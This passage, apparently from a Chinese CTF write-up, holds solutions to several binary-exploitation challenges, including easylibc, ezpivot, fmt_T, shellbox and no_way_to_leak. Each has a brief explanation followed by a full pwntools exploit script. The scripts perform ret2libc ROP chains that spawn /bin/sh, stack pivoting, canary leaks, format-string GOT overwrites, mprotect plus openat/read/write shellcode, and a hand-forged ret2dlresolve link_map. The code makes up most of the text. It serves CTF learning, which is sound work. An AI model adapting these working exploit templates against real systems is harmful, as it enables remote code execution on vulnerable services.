def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()



payload = b"xdulaker"*5

sl(b'1')
ru(b'gift:')

opt_addr = io.recvuntil(b'\n', drop=True).strip().decode()
opt_addr = int(opt_addr, 16)
log.info(VIO_TEXT(f"opt_addr: {hex(opt_addr)}"))

pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x124E

log.info(VIO_TEXT(f"pit_base: {hex(pie_base)}"))
log.info(VIO_TEXT(f"backdoor_addr: {hex(backdoor_addr)}"))


io.recv()
sl(b'2')

sa(b'name?!', payload)


io.recv()
sl(b'2')

sa(b'name?!', payload)

io.recv()
sl(b'3')

payload = cyclic(48+8)+p64(backdoor_addr+1)
sl(payload)
# sla(b'laker\n', payload)

ia()

easylibc

got延迟绑定，要使用libc函数后再次返回main使用才能获取真正libc地址，开了pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 39367)

# gdb.attach(io, gdbscript='''
# b *puts
# ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()


ru(b"I use ")
leak = ru(' ').strip().decode()

log.success(VIO_TEXT(f"leak: {leak}"))

leak = int(leak, 16)
pie_delta = 0x1060
pie_base = leak - pie_delta

read = leak+0x50
read_plt = elf.plt['read']
elf_base = read-read_plt

log.success(VIO_TEXT(f"pie_base: {hex(pie_base)}"))
start = elf.symbols['_start']+elf_base+4
log.success(VIO_TEXT(f"start_addr: {hex(start)}"))

ret = elf_base+0x00101a+4
log.info(f"ret:{hex(ret)}")

payload = cyclic(32+8)+p64(start)
se(payload)

ru(b"I use ")
read_addr_true = int(ru(' ').strip().decode(), 16)
libc_base = read_addr_true-libc.symbols['read']
log.success(CLEAR_TEXT(f"libc_addr: {hex(libc_base)}"))
log.success(CLEAR_TEXT(f"read_addr_true: {hex(read_addr_true)}"))

rop = ROP(libc)
pop_rdi = libc_base + 0x2a3e5
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.symbols['system']

offset = 40

payload = flat(
 b"A" * offset,
 ret,
 pop_rdi,
 binsh,
 system,
)

sl(payload)

io.interactive()
# moectf{How_cAn_You_g3t_This-L1BC-@DDR712d46}

ezpivot

栈迁移
我们的栈溢出需要溢出从 ret 开始 pop_rdi，&"/bin/sh"，ret，system_plt 四个地址，也就是需要 0x28 的长度，而本题的溢出长度不够，我们需要考虑栈迁移。
在第一个 read 前存在整数溢出，我们输入 -1 即可往 desc 内读入任意字节。

我们先向 desc+0x800 的位置写入我们的 ROP 链，然后覆盖 rbp 为 desc+0x800 ，覆盖 ret 为 leave_addr，即可实现栈迁移执行我们写入 data 段上的 ROP 链即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112


from pwn import *
import argparse
import argcomplete

parser = argparse.ArgumentParser(
 description="Exploit script for pwn challenge.")
parser.add_argument('--remote', action='store_true',
 help="Connect to remote service")
parser.add_argument('--debug', action='store_true',
 help="Attach GDB for debugging")
parser.add_argument('--ip', default='localhost', help="Remote IP address")
parser.add_argument('--port', type=int, default=35515, help="Remote port")

args = parser.parse_args()


filename = './pwn'
# libc_path = './libc.so.6'
arch = 'amd64'

context.log_level = 'debug'
context.arch = arch
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename)
# libc = ELF(libc_path)


def start():
 if args.remote:
 io = remote(args.ip, args.port)
 else:
 io = process(filename)
 if args.debug:
 gdb.attach(io, gdbscript='''
 b *0x401334
 ''')
 return io


def register_io_shortcuts(io):
 global se, sl, sla, sa, slt, st
 global rc, rn, rr, ru, ra, rl, rls, rle, rlc
 global ia, ic

 se = io.send
 sl = io.sendline
 sla = io.sendlineafter
 sa = io.sendafter
 slt = io.sendlinethen
 st = io.sendthen

 rc = io.recv
 rn = io.recvn
 rr = io.recvregex
 ru = io.recvuntil
 ra = io.recvall
 rl = io.recvline
 rls = io.recvline_startswith
 rle = io.recvline_endswith
 rlc = io.recvline_contains

 ia = io.interactive
 ic = io.close

# def uu32(data): return u32(data.ljust(4, b"\x00"))
# def uu64(data): return u64(data.ljust(8, b"\x00"))
# def get_64(): return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# def get_32(): return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


def VIO_TEXT(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32): return f"\x1b[{code}m{x}\x1b[0m"


def main():
 global io
 io = start()
 register_io_shortcuts(io)
 system_plt = 0x4010a0
 pop_rdi_ret = 0x401219
 leave_ret = 0x40120F
 ret_addr = 0x40101a
 bss = 0x404060
 pivot_bss = 0x404060+0x800

 ru(b'introduction.')
 sl(str(-1)) # 整数溢出

 payload = flat([
 b'a'*0x800,
 b'/bin/sh\x00',
 pop_rdi_ret,
 pivot_bss,
 ret_addr,
 system_plt,
 ])

 se(payload)

 ru(b'phone number:\n')

 payload = cyclic(12)+p64(pivot_bss)+p64(leave_ret)

 se(payload)

 ia()


if __name__ == "__main__":
 main()

ezprotection

泄漏canary
pie不改变低12bit也就是低三位，爆破1/16的backdoor地址，直接绕过password检测即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *$rebase(0x1380)
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
rc = io.recv
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

payload = b'a'*24
payload += b'b'

sa("you.\n", payload)
ru(b'b')

canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success(VIO_TEXT(f"Canary is:{hex(canary)}"))

payload = b'a'*24+p64(canary)+b'b'*8+b'\x8c\xf2'

rc()
se(payload)

ia()

fmt_S

第一次写入，得到栈上一个地址指向main函数第二次写入，通过得到的栈地址写入到栈上位置

根据计算往上一次泄漏出的位置8-2就是我们可以控制的位置，在此写入一个main

第三次通过八个字节刚好可以写入/bin/sh\x00，通过system()来实现系统调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = remote('localhost', 37307)

def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
system = 0x40127B

gdb.attach(p, gdbscript='''
 b *talk
 b *0x40131E
 b *0x4012F6
''')
payload = b'%8$p'
p.sendafter("You start talking to him...\n", payload)
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) - 0x18
log.success(VIO_TEXT("stack_ret: " + hex(stack_ret)))
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = stack_ret & 0xffff
payload2 = f'%{count}c%6$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload2)
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = system & 0xffff
payload3 = f'%{count}c%47$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload3)
p.sendafter("You enraged the monster-prepare for battle!\n", '/bin/sh\x00')

p.interactive()

fmt_T

程序外部一个格式化字符串可以帮助泄漏libc地址，而内部是递归的，所以只能进行写地址而且是4 16 27的允许写入数量，写one_gadget无效。而可以写printf_got
所以内部的写入如下

传入sh|%来写入sh参数，因为要判断%否则不允许写入所以只能写sh
在栈空间上写入pirntf_got用于修改为system
要写2.5个字节，在最后一次写入两次实现，抬一次地址写1.5字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def hell(x):
 sa(b"hell.\n", x)


sl(b'%3$p')
leak_str = rl(keepends=False).decode()
leak_addr = int(leak_str, 16)
log.info(VIO_TEXT(f"try to leak-read?:{hex(leak_addr)}"))

libc.address = leak_addr-18-libc.sym['read'] # 泄漏出read来leak libc
system_addr = libc.sym['system']
log.success(VIO_TEXT(f"system:{hex(system_addr)}"))

printf_got = elf.got["printf"]
log.info(VIO_TEXT(f"printf@GOT: {hex(printf_got)}"))

# fgets最多读入len-1字符，第一次输入sh |% 使得可以被printf作为参数
hell("sh|%")

# 第二次先往栈上写一个printf_got的地址
printf_got = elf.got['printf']
# 通过写入到紧靠的下一个位置，使得可以写5位的prinf_got->system
payload_16 = (p64(printf_got) + p64(printf_got+1))[:15]

hell(payload_16)

system_low = system_addr & 0xff
system_high = (system_addr >> 8) & 0xffff
system_high = (system_high-system_low+0x10000) & 0xffff # 写入要写到高位还需要的字节
# system_high = (system_high-system_low) & 0xffff

log.info(VIO_TEXT(
 f"system_low:{hex(system_low)} and system_high:{hex(system_high)}")
)

# 先写低位一个字节在写高位两个字节实现写三位
payload_27 = f"%{system_low}c%24$hhn%{system_high}c%25$hn".encode()
# payload_27 = f"%{system_low}c%24$hhn".encode()
print(len(payload_27))
sla(b"hell.\n", payload_27)
# payload_test = "%25$p"
# sla(b"hell.\n", payload_test)

io.interactive()

hard_pivot

只用read实现读和写，多次栈迁移板子，羊城杯pstack

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc.so.6"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43747"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

leave_ret = 0x40127b
bss_buffer = 0x4040a0+0x500
pop_rbp_ret = 0x4011a1
pop_rdi_ret = 0x40119e
vuln_read = 0x401264


# pivot rbp
payload1 = flat(
 b'a'*(64),
 p64(bss_buffer+0x40),
 p64(vuln_read)
)
sa(b"> ", payload1)


# ROP leak
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = flat(
 {
 0x00: p64(pop_rdi_ret),
 0x08: p64(puts_got),
 0x10: p64(puts_plt), # leak-libc
 0x18: p64(pop_rbp_ret),
 0x20: p64(bss_buffer+0x200+0x40), # 这里是为payload3做准备
 0x28: p64(vuln_read), # 因为开辟空间所以+0x40,这样刚好从bss_buffer+0x200开始写payload3
 0x40: p64(bss_buffer-0x8), # 更新rbp位置,开始leak
 0x48: p64(leave_ret) # 返回地址位置
 },
 filler=b"x",
 length=0x50
)
# test_payload = b'a'*0x40+b'b'*8+b'c'*8
se(payload2)
puts_addr = u64(rc(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh = libc.search('/bin/sh\x00').__next__()

log.success(VIO_TEXT(f"puts_addr:{hex(puts_addr)}"))
log.success(VIO_TEXT(f"system_addr:{hex(system_addr)}"))


# ROP system
log.info(CLEAR_TEXT(
 f"Hey! Nan0in is really good at pivoting, let's try to call system() now!"))
ret_addr = 0x040101a
payload3 = flat(
 {
 0x0: p64(pop_rdi_ret),
 0x8: p64(binsh),
 0x10: p64(system_addr),
 0x40: p64(bss_buffer+0x200-0x8), # 再次迁移执行payload2中布置好的ROP
 0x48: p64(leave_ret)
 },
 filler=b'x',
 length=0x50
)
se(payload3)


ia()

shellbox

沙箱

openat read write的orw可写，在哪里写？

一开始从v5=0开始检测，如果=1了直接退出，然后会8字节的写入到v4中，根据v5索引来，而如果在>=1的时候，buf中的内容刚好8字节写到返回地址以下，可以构造链子，尝试写mprotect将bss段写为可执行后写入shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = ""
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "37391"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401B23
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
# libc=ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


pop_rdi = 0x401A40
pop_rsi = 0x401A42
pop_rdx = 0x401A44
pop_rax = 0x44bbbb
pop_rbp = 0x401889
mprotect_buf = 0x4cd000
mprotect_addr = 0x443520
syscall = 0x401268
leave_ret = 0x401ab0
bss = 0x04CEB60
ret = 0x40101a


open_at_shellcode = asm("""
 xor rax, rax
 push rax
 mov rbx, 0x67616c66 /* "flag" */
 push rbx
 mov rsi, rsp /* rsi = &"flag" */

 /* openat(AT_FDCWD=-100, "flag", O_RDONLY=0, 0) */
 mov rdi, -100
 xor rdx, rdx /* flags = 0 */
 xor r10, r10 /* mode = 0 */
 mov rax, 257 /* SYS_openat */
 syscall
 mov rdi, rax /* save returned fd in rdi */

 /* read(fd, rsp, 0x100) */
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* write(1, rsp, 0x100) */
 mov rdi, 1
 mov rax, 1
 syscall
""")


log.info(VIO_TEXT(f"shellocde_lenth:{len(open_at_shellcode)}"))

shellcode = open_at_shellcode

# save to bss
sla(b"You have a box, fill it.\n", shellcode)

# second read,cover rip
sa(b">", b'AAAA' + p16(1))
sa(b">", p64(pop_rdi))
sa(b">", p64(mprotect_buf))
sa(b">", p64(pop_rsi))
sa(b">", p64(0x2000)) # 提权
sa(b">", p64(pop_rdx))
sa(b">", p64(7))
sa(b">", p64(mprotect_addr))
sa(b">", p64(bss))


io.interactive()

no_way_to_leak

1
2
3
4
5
6


ssize_t vuln()
{
 _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

 return read(0, buf, 256u);
}

有140多的栈溢出，存在Magic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


.text:0000000000401156 magic proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156 endbr64
.text:000000000040115A push rbp
.text:000000000040115B mov rbp, rsp
.text:000000000040115E pop rdi
.text:000000000040115F retn
.text:000000000040115F magic endp
.text:000000000040115F
.text:0000000000401160 ; ---------------------------------------------------------------------------
.text:0000000000401160 pop rsi
.text:0000000000401161 retn
.text:0000000000401161 ; ---------------------------------------------------------------------------
.text:0000000000401162 db 90h
.text:0000000000401163 ; ---------------------------------------------------------------------------
.text:0000000000401163 pop rbp
.text:0000000000401164 retn
.text:0000000000401164 ; } // starts at 401156

除此之外就没有了，只有read的溢出可以利用。

另外

可用的函数符号也有限，无法正常泄漏出libc基地址，因此需要使用到ret2dlresolve

通过打开gdb的debug_infoset debuginfod enabled on以及设置拉取符号，我们可以看到具体调试的过程了

可以发现我们的read在执行的时候跳转到了0x401040也就对应IDA中去除符号的地方了，我们具体看看，跳转到.got.plt的部分，即got表去调用

而剩下

1
2
3


0x401040 endbr64
0x401044 push 1
0x401049 bnd jmp 0x401020 ; 进入 .plt[0]

push 1：把“PLT项号”压栈，这里是第 1 个项（read），Number = 1
然后跳到 .plt[0]（泛称为 PLT0 stub），这将跳转至动态链接器的解析函数。

借由这个部分，我们通过jmp跳转到了_dl_runtime_resolve_xsavec

执行了_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析，即将真实的read函数地址写入其GOT表对应的条目中，随后将控制器交给被解析的函数

一路往下si，可以看到

执行了call _dl_fixup的函数，我们可以在glibc-database里拉取一份代码进行查看或者直接到elixir ，版本是2.31

可以去看我写的剖析re2dlresolve
这题你可以手写64位的ret2dlresolve,也可以调用pwntools的库，时间相差不是一点半点，而且其实手写64位ret2dlresolve后大部分情况下也是一个模板
在此给出两种解法

手写64位

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "ip"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401224
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def n64(x): return (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func='puts'):
 # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误
 offset = n64(libc.sym[func] - libc.sym[base_func])
# linkmap = p64(offset & (2 ** 64 - 1))#l_addr
 linkmap = p64(offset)
# fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容
 linkmap += p64(0) # 可以为任意值
 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0，也就是第 一项
# linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) #Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可
 linkmap += p64(n64(elf.bss()-offset))
 linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项
 linkmap += p64(0) # Rela->r_addend,任意值都行
 linkmap += p64(0) # l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
 linkmap += p64(0) # 参考IDA上.dyamisc的结构
 # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
 linkmap += p64(elf.got[base_func] - 0x8)
 linkmap += b'/bin/sh\x00'
 linkmap = linkmap.ljust(0x68, b'A')
 # fake_linkmap_addr + 0x68, 对应的值的DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域
 linkmap += p64(fake_linkmap_addr)
 # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
 linkmap += p64(fake_linkmap_addr + 0x38)
 linkmap = linkmap.ljust(0xf8, b'A')
 # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
 linkmap += p64(fake_linkmap_addr + 0x8)
 return linkmap


read_plt = elf.plt['read']
fake_linkmap_addr = elf.bss() + 0x100
new_stack = elf.bss() + 0x880
fake_link_map = build_fake_link_map(
 fake_linkmap_addr, 'system', 'read') # 伪造link_map
padding = 0x78
payload = b'a'*padding
payload += flat({
 0x00: next(elf.search(asm('ret'), executable=True)),
 0x08: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x10: 0,
 0x18: next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)),
 0x20: fake_linkmap_addr,
 0x28: 0,
 0x30: elf.plt['read'],
 0x38: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x40: fake_linkmap_addr + 0x48,
 0x48: elf.get_section_by_name('.plt').header.sh_addr + 6,
 0x50: fake_linkmap_addr, # struct link_map *l
 0x58: 0 # ElfW(Word) reloc_arg
})

sl(payload)
pause()
se(fake_link_map)
ia()

使用pwntools集成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc-2.31.so"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *40117d
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
